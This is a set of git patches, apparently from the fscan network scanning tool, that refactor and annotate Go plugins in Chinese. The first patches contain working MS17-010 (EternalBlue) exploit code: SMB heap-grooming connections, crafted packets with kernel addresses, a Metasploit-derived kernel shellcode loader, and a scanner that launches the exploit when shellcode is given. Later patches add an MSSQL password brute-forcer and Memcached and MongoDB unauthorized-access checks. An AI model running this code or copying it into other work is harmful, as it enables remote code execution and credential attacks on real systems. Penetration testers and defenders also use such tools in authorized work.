buf.Write(vcNum) - // session key - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // security blob length - buf.Write([]byte{0x00, 0x00}) - // reserved - buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) - // capabilities - buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) - // byte count - buf.Write([]byte{0x16, 0x00}) - // Native OS - buf.Write(nativeOS) - // extra byte params - buf.Write(makeZero(17)) return buf.Bytes() } +// writeNetBIOSFreeHoleHeader 写入NetBIOS会话服务头 +func writeNetBIOSFreeHoleHeader(buf *bytes.Buffer) { + // 消息类型 + buf.WriteByte(0x00) + // 长度 + buf.Write([]byte{0x00, 0x00, 0x51}) +} + +// writeSMBFreeHoleHeader 写入SMB协议头 +func writeSMBFreeHoleHeader(buf *bytes.Buffer, flags2 []byte) { + // SMB标识 + buf.Write([]byte{0xFF, 0x53, 0x4D, 0x42}) + // Session Setup AndX命令 + buf.WriteByte(0x73) + // NT状态码 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 标志位 + buf.WriteByte(0x18) + // 标志位2 + buf.Write(flags2) + // 进程ID高位 + buf.Write([]byte{0x00, 0x00}) + // 签名1和2 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00}) + // 树ID + buf.Write([]byte{0x00, 0x00}) + // 进程ID + buf.Write([]byte{0xFF, 0xFE}) + // 用户ID + buf.Write([]byte{0x00, 0x00}) + // 多路复用ID + buf.Write([]byte{0x40, 0x00}) +} + +// writeSessionSetupFreeHoleRequest 写入会话设置请求 +func writeSessionSetupFreeHoleRequest(buf *bytes.Buffer, vcNum, nativeOS []byte) { + // 字段数 + buf.WriteByte(0x0C) + // 无后续命令 + buf.WriteByte(0xFF) + // 保留字段 + buf.WriteByte(0x00) + // AndX偏移 + buf.Write([]byte{0x00, 0x00}) + // 最大缓冲区 + buf.Write([]byte{0x04, 0x11}) + // 最大并发数 + buf.Write([]byte{0x0A, 0x00}) + // VC编号 + buf.Write(vcNum) + // 会话密钥 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 安全数据长度 + buf.Write([]byte{0x00, 0x00}) + // 保留字段 + buf.Write([]byte{0x00, 0x00, 0x00, 0x00}) + // 功能标志 + buf.Write([]byte{0x00, 0x00, 0x00, 0x80}) + // 字节数 + buf.Write([]byte{0x16, 0x00}) + // 原生操作系统 + buf.Write(nativeOS) + // 额外参数 + buf.Write(makeZero(17)) +} + +// smb2Grooms 创建多个SMB2连接 func smb2Grooms(address string, grooms int) ([]net.Conn, error) { + // 创建SMB2头 header := makeSMB2Header() + var ( conns []net.Conn ok bool ) + + // 失败时关闭所有连接 defer func() { if ok { return } - for i := 0; i < len(conns); i++ { - _ = conns[i].Close() + for _, conn := range conns { + _ = conn.Close() } }() + + // 建立多个连接 for i := 0; i < grooms; i++ { - conn, err := net.Dial("tcp", address) + // 创建TCP连接 + conn, err := net.DialTimeout("tcp", address, 10*time.Second) if err != nil { - return nil, fmt.Errorf("failed to connect target: %s", err) + return nil, fmt.Errorf("[-] 连接目标失败: %v", err) } - _, err = conn.Write(header) - if err != nil { - return nil, fmt.Errorf("failed to send SMB2 header: %s", err) + + // 发送SMB2头 + if _, err = conn.Write(header); err != nil { + return nil, fmt.Errorf("[-] 发送SMB2头失败: %v", err) } + conns = append(conns, conn) } + ok = true return conns, nil } +const ( + packetMaxLen = 4204 // 数据包最大长度 + packetSetupLen = 497 // 数据包设置部分长度 +) + +// makeSMB2Header 创建SMB2协议头 func makeSMB2Header() []byte { buf := bytes.Buffer{} + + // SMB2协议标识 buf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE}) buf.WriteString("SMB") + + // 填充剩余字节 buf.Write(makeZero(124)) + return buf.Bytes() } -const ( - packetMaxLen = 4204 - packetSetupLen = 497 -) - +// makeSMB2Body 创建SMB2协议体 func makeSMB2Body(payload []byte) []byte { - const packetMaxPayload = packetMaxLen - packetSetupLen - // padding + const packetMaxPayload = packetMaxLen - packetSetupLen // 计算最大负载长度 buf := bytes.Buffer{} - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x1C)) - buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) - buf.Write(makeZero(0x74)) - // KI_USER_SHARED_DATA addresses - x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} - buf.Write(bytes.Repeat(x64Address, 2)) - buf.Write(makeZero(0x10)) - x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} - buf.Write(bytes.Repeat(x86Address, 2)) - buf.Write(makeZero(0xC4)) + // 写入填充数据 + writePaddingData(&buf) - // payload address - buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x04)) - buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) - buf.Write(makeZero(0x40)) + // 写入KI_USER_SHARED_DATA地址 + writeSharedDataAddresses(&buf) - buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.Write(makeZero(0x08)) - buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) - buf.WriteByte(0x00) + // 写入负载地址和相关数据 + writePayloadAddresses(&buf) - // set payload + // 写入负载数据 buf.Write(payload) - // fill out the rest, this can be randomly generated + // 填充剩余空间(可随机生成) buf.Write(makeZero(packetMaxPayload - len(payload))) return buf.Bytes() } +// writePaddingData 写入填充数据 +func writePaddingData(buf *bytes.Buffer) { + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x1C)) + buf.Write([]byte{0x03, 0x00, 0x00, 0x00}) + buf.Write(makeZero(0x74)) +} + +// writeSharedDataAddresses 写入共享数据地址 +func writeSharedDataAddresses(buf *bytes.Buffer) { + // x64地址 + x64Address := []byte{0xb0, 0x00, 0xd0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + buf.Write(bytes.Repeat(x64Address, 2)) + buf.Write(makeZero(0x10)) + + // x86地址 + x86Address := []byte{0xC0, 0xF0, 0xDF, 0xFF} + buf.Write(bytes.Repeat(x86Address, 2)) + buf.Write(makeZero(0xC4)) +} + +// writePayloadAddresses 写入负载地址和相关数据 +func writePayloadAddresses(buf *bytes.Buffer) { + // 负载地址 + buf.Write([]byte{0x90, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x04)) + buf.Write([]byte{0xF0, 0xF1, 0xDF, 0xFF}) + buf.Write(makeZero(0x40)) + + // 附加数据 + buf.Write([]byte{0xF0, 0x01, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.Write(makeZero(0x08)) + buf.Write([]byte{0x00, 0x02, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}) + buf.WriteByte(0x00) +} + +// makeZero 创建指定大小的零值字节切片 func makeZero(size int) []byte { return bytes.Repeat([]byte{0}, size) } -// loader is used to run user mode sc in the kernel mode. -// reference Metasploit-Framework: -// file: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm -// binary: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc +// loader 用于在内核模式下运行用户模式shellcode的加载器 +// 参考自Metasploit-Framework: +// 文件: msf/external/source/sc/windows/multi_arch_kernel_queue_apc.asm +// 二进制: modules/exploits/windows/smb/ms17_010_eternalblue.rb: def make_kernel_sc var loader = [...]byte{ 0x31, 0xC9, 0x41, 0xE2, 0x01, 0xC3, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x0F, 0x32, 0x48, 0xBB, 0xF8, 0x0F, 0xD0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x89, 0x53, 0x04, 0x89, 0x03, 0x48, 0x8D, 0x05, 0x0A, From ec30b0d2a4477cd358932bb0212888804458476d Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:37 +0800 Subject: [PATCH 22/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96MS17010.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/MS17010.go | 158 ++++++++++++++++++++++++++++++++------------- 1 file changed, 112 insertions(+), 46 deletions(-) diff --git a/Plugins/MS17010.go b/Plugins/MS17010.go index 500b6e1..226b95e 100644 --- a/Plugins/MS17010.go +++ b/Plugins/MS17010.go @@ -7,90 +7,153 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" + "log" "strings" "time" ) var ( + // SMB协议加密的请求数据 negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD" sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8" treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg==" transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA==" trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk=" - negotiateProtocolRequest, _ = hex.DecodeString(AesDecrypt(negotiateProtocolRequest_enc, key)) - sessionSetupRequest, _ = hex.DecodeString(AesDecrypt(sessionSetupRequest_enc, key)) - treeConnectRequest, _ = hex.DecodeString(AesDecrypt(treeConnectRequest_enc, key)) - transNamedPipeRequest, _ = hex.DecodeString(AesDecrypt(transNamedPipeRequest_enc, key)) - trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) + + // SMB协议解密后的请求数据 + negotiateProtocolRequest []byte + sessionSetupRequest []byte + treeConnectRequest []byte + transNamedPipeRequest []byte + trans2SessionSetupRequest []byte ) +func init() { + var err error + + // 解密协议请求 + decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key) + if err != nil { + log.Fatalf("解密协议请求失败: %v", err) + } + negotiateProtocolRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码协议请求失败: %v", err) + } + + // 解密会话请求 + decrypted, err = AesDecrypt(sessionSetupRequest_enc, key) + if err != nil { + log.Fatalf("解密会话请求失败: %v", err) + } + sessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码会话请求失败: %v", err) + } + + // 解密连接请求 + decrypted, err = AesDecrypt(treeConnectRequest_enc, key) + if err != nil { + log.Fatalf("解密连接请求失败: %v", err) + } + treeConnectRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码连接请求失败: %v", err) + } + + // 解密管道请求 + decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key) + if err != nil { + log.Fatalf("解密管道请求失败: %v", err) + } + transNamedPipeRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码管道请求失败: %v", err) + } + + // 解密会话设置请求 + decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key) + if err != nil { + log.Fatalf("解密会话设置请求失败: %v", err) + } + trans2SessionSetupRequest, err = hex.DecodeString(decrypted) + if err != nil { + log.Fatalf("解码会话设置请求失败: %v", err) + } +} + +// MS17010 扫描入口函数 func MS17010(info *Config.HostInfo) error { + // 暴力破解模式下跳过扫描 if Common.IsBrute { return nil } + + // 执行MS17-010漏洞扫描 err := MS17010Scan(info) if err != nil { - errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) - Common.LogError(errlog) + Common.LogError(fmt.Sprintf("[-] MS17010 %v %v", info.Host, err)) } return err } +// MS17010Scan 执行MS17-010漏洞扫描 func MS17010Scan(info *Config.HostInfo) error { ip := info.Host - // connecting to a host in LAN if reachable should be very quick + + // 连接目标445端口 conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second) if err != nil { - //fmt.Printf("failed to connect to %s\n", ip) return err } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { - //fmt.Printf("failed to connect to %s\n", ip) + + // 设置连接超时 + if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { return err } - _, err = conn.Write(negotiateProtocolRequest) - if err != nil { + + // 发送SMB协议协商请求 + if _, err = conn.Write(negotiateProtocolRequest); err != nil { return err } + + // 读取响应 reply := make([]byte, 1024) - // let alone half packet if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 检查协议响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - // status != 0 return err } - _, err = conn.Write(sessionSetupRequest) - if err != nil { + // 发送会话建立请求 + if _, err = conn.Write(sessionSetupRequest); err != nil { return err } + + // 读取响应 n, err := conn.Read(reply) if err != nil || n < 36 { return err } + // 检查会话响应状态 if binary.LittleEndian.Uint32(reply[9:13]) != 0 { - // status != 0 - //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip) - var Err = errors.New("can't determine whether target is vulnerable or not") - return Err + return errors.New("无法确定目标是否存在漏洞") } - // extract OS info + // 提取操作系统信息 var os string sessionSetupResponse := reply[36:n] if wordCount := sessionSetupResponse[0]; wordCount != 0 { - // find byte count byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) if n != int(byteCount)+45 { - fmt.Println("[-]", ip+":445", "ms17010 invalid session setup AndX response") + fmt.Printf("[-] %s:445 MS17010无效的会话响应\n", ip) } else { - // two continous null bytes indicates end of a unicode string + // 查找Unicode字符串结束标记(两个连续的0字节) for i := 10; i < len(sessionSetupResponse)-1; i++ { if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { os = string(sessionSetupResponse[10:i]) @@ -99,68 +162,71 @@ func MS17010Scan(info *Config.HostInfo) error { } } } - } + + // 获取用户ID userID := reply[32:34] treeConnectRequest[32] = userID[0] treeConnectRequest[33] = userID[1] - // TODO change the ip in tree path though it doesn't matter - _, err = conn.Write(treeConnectRequest) - if err != nil { + + // 发送树连接请求 + if _, err = conn.Write(treeConnectRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 获取树ID并设置后续请求 treeID := reply[28:30] transNamedPipeRequest[28] = treeID[0] transNamedPipeRequest[29] = treeID[1] transNamedPipeRequest[32] = userID[0] transNamedPipeRequest[33] = userID[1] - _, err = conn.Write(transNamedPipeRequest) - if err != nil { + // 发送命名管道请求 + if _, err = conn.Write(transNamedPipeRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } + // 检查漏洞状态 if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { - //fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) - //if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) - //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} - result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os) - Common.LogSuccess(result) + // 目标存在MS17-010漏洞 + Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os)) + + // 如果指定了shellcode,执行漏洞利用 defer func() { if Common.SC != "" { MS17010EXP(info) } }() - // detect present of DOUBLEPULSAR SMB implant + + // 检测DOUBLEPULSAR后门 trans2SessionSetupRequest[28] = treeID[0] trans2SessionSetupRequest[29] = treeID[1] trans2SessionSetupRequest[32] = userID[0] trans2SessionSetupRequest[33] = userID[1] - _, err = conn.Write(trans2SessionSetupRequest) - if err != nil { + if _, err = conn.Write(trans2SessionSetupRequest); err != nil { return err } + if n, err := conn.Read(reply); err != nil || n < 36 { return err } if reply[34] == 0x51 { - result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip) - Common.LogSuccess(result) + Common.LogSuccess(fmt.Sprintf("[+] MS17-010 %s 存在DOUBLEPULSAR后门", ip)) } - } else { - result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os) - Common.LogSuccess(result) + // 未检测到漏洞,仅输出系统信息 + Common.LogSuccess(fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os)) } - return err + return err } From 35fc0fadc5dcf712823bb9b0519e5cef525c51ef Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:45 +0800 Subject: [PATCH 23/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96MSSQL.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/MSSQL.go | 80 +++++++++++++++++++++++++++++++----------------- 1 file changed, 52 insertions(+), 28 deletions(-) diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index f12e87a..91bad28 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -10,49 +10,73 @@ import ( "time" ) +// MssqlScan 执行MSSQL服务扫描 func MssqlScan(info *Config.HostInfo) (tmperr error) { if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试用户名密码组合 for _, user := range Common.Userdict["mssql"] { for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + flag, err := MssqlConn(info, user, pass) - if flag == true && err == nil { + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) { return err - } else { - errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) { - return err - } } } } return tmperr } -func MssqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false - Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(Common.Timeout)*time.Second) - db, err := sql.Open("mssql", dataSourceName) - if err == nil { - db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) - db.SetMaxIdleConns(0) - defer db.Close() - err = db.Ping() - if err == nil { - result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password) - Common.LogSuccess(result) - flag = true - } +// MssqlConn 尝试MSSQL连接 +func MssqlConn(info *Config.HostInfo, user string, pass string) (bool, error) { + host, port, username, password := info.Host, info.Ports, user, pass + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造连接字符串 + connStr := fmt.Sprintf( + "server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", + host, username, password, port, timeout, + ) + + // 建立数据库连接 + db, err := sql.Open("mssql", connStr) + if err != nil { + return false, err } - return flag, err + defer db.Close() + + // 设置连接参数 + db.SetConnMaxLifetime(timeout) + db.SetConnMaxIdleTime(timeout) + db.SetMaxIdleConns(0) + + // 测试连接 + if err = db.Ping(); err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] MSSQL %v:%v:%v %v", host, port, username, password) + Common.LogSuccess(result) + return true, nil } From 6a452d59596b0a1b8adab8260f2642375ec86f71 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:03 +0800 Subject: [PATCH 24/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Memcached.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Memcached.go | 62 +++++++++++++++++++++++++------------------- 1 file changed, 36 insertions(+), 26 deletions(-) diff --git a/Plugins/Memcached.go b/Plugins/Memcached.go index cade9ba..1acdaa7 100644 --- a/Plugins/Memcached.go +++ b/Plugins/Memcached.go @@ -8,32 +8,42 @@ import ( "time" ) -func MemcachedScan(info *Config.HostInfo) (err error) { +// MemcachedScan 检测Memcached未授权访问 +func MemcachedScan(info *Config.HostInfo) error { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - client, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) - defer func() { - if client != nil { - client.Close() - } - }() - if err == nil { - err = client.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err == nil { - _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten - if err == nil { - rev := make([]byte, 1024) - n, err := client.Read(rev) - if err == nil { - if strings.Contains(string(rev[:n]), "STAT") { - result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost) - Common.LogSuccess(result) - } - } else { - errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) - Common.LogError(errlog) - } - } - } + timeout := time.Duration(Common.Timeout) * time.Second + + // 建立TCP连接 + client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout) + if err != nil { + return err } - return err + defer client.Close() + + // 设置超时时间 + if err := client.SetDeadline(time.Now().Add(timeout)); err != nil { + return err + } + + // 发送stats命令 + if _, err := client.Write([]byte("stats\n")); err != nil { + return err + } + + // 读取响应 + rev := make([]byte, 1024) + n, err := client.Read(rev) + if err != nil { + errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) + Common.LogError(errlog) + return err + } + + // 检查响应内容 + if strings.Contains(string(rev[:n]), "STAT") { + result := fmt.Sprintf("[+] Memcached %s 未授权访问", realhost) + Common.LogSuccess(result) + } + + return nil } From dd8514784e60eb3cbe79a2fb99d8507756f659f5 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:40:11 +0800 Subject: [PATCH 25/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Mongodb.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Mongodb.go | 114 +++++++++++++++++++++++++++------------------ 1 file changed, 68 insertions(+), 46 deletions(-) diff --git a/Plugins/Mongodb.go b/Plugins/Mongodb.go index 82a6af2..25822b7 100644 --- a/Plugins/Mongodb.go +++ b/Plugins/Mongodb.go @@ -8,22 +8,80 @@ import ( "time" ) +// MongodbScan 执行MongoDB未授权扫描 func MongodbScan(info *Config.HostInfo) error { if Common.IsBrute { return nil } + _, err := MongodbUnauth(info) if err != nil { - errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) + errlog := fmt.Sprintf("[-] MongoDB %v:%v %v", info.Host, info.Ports, err) Common.LogError(errlog) } return err } -func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { - flag = false - // op_msg - packet1 := []byte{ +// MongodbUnauth 检测MongoDB未授权访问 +func MongodbUnauth(info *Config.HostInfo) (bool, error) { + // MongoDB查询数据包 + msgPacket := createOpMsgPacket() + queryPacket := createOpQueryPacket() + + realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) + + // 尝试OP_MSG查询 + reply, err := checkMongoAuth(realhost, msgPacket) + if err != nil { + // 失败则尝试OP_QUERY查询 + reply, err = checkMongoAuth(realhost, queryPacket) + if err != nil { + return false, err + } + } + + // 检查响应结果 + if strings.Contains(reply, "totalLinesWritten") { + result := fmt.Sprintf("[+] MongoDB %v 未授权访问", realhost) + Common.LogSuccess(result) + return true, nil + } + + return false, nil +} + +// checkMongoAuth 检查MongoDB认证状态 +func checkMongoAuth(address string, packet []byte) (string, error) { + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp", address, time.Duration(Common.Timeout)*time.Second) + if err != nil { + return "", err + } + defer conn.Close() + + // 设置超时时间 + if err := conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return "", err + } + + // 发送查询包 + if _, err := conn.Write(packet); err != nil { + return "", err + } + + // 读取响应 + reply := make([]byte, 1024) + count, err := conn.Read(reply) + if err != nil { + return "", err + } + + return string(reply[:count]), nil +} + +// createOpMsgPacket 创建OP_MSG查询包 +func createOpMsgPacket() []byte { + return []byte{ 0x69, 0x00, 0x00, 0x00, // messageLength 0x39, 0x00, 0x00, 0x00, // requestID 0x00, 0x00, 0x00, 0x00, // responseTo @@ -32,8 +90,11 @@ func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { // sections db.adminCommand({getLog: "startupWarnings"}) 0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00, } - //op_query - packet2 := []byte{ +} + +// createOpQueryPacket 创建OP_QUERY查询包 +func createOpQueryPacket() []byte { + return []byte{ 0x48, 0x00, 0x00, 0x00, // messageLength 0x02, 0x00, 0x00, 0x00, // requestID 0x00, 0x00, 0x00, 0x00, // responseTo @@ -45,43 +106,4 @@ func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { // query db.adminCommand({getLog: "startupWarnings"}) 0x21, 0x00, 0x00, 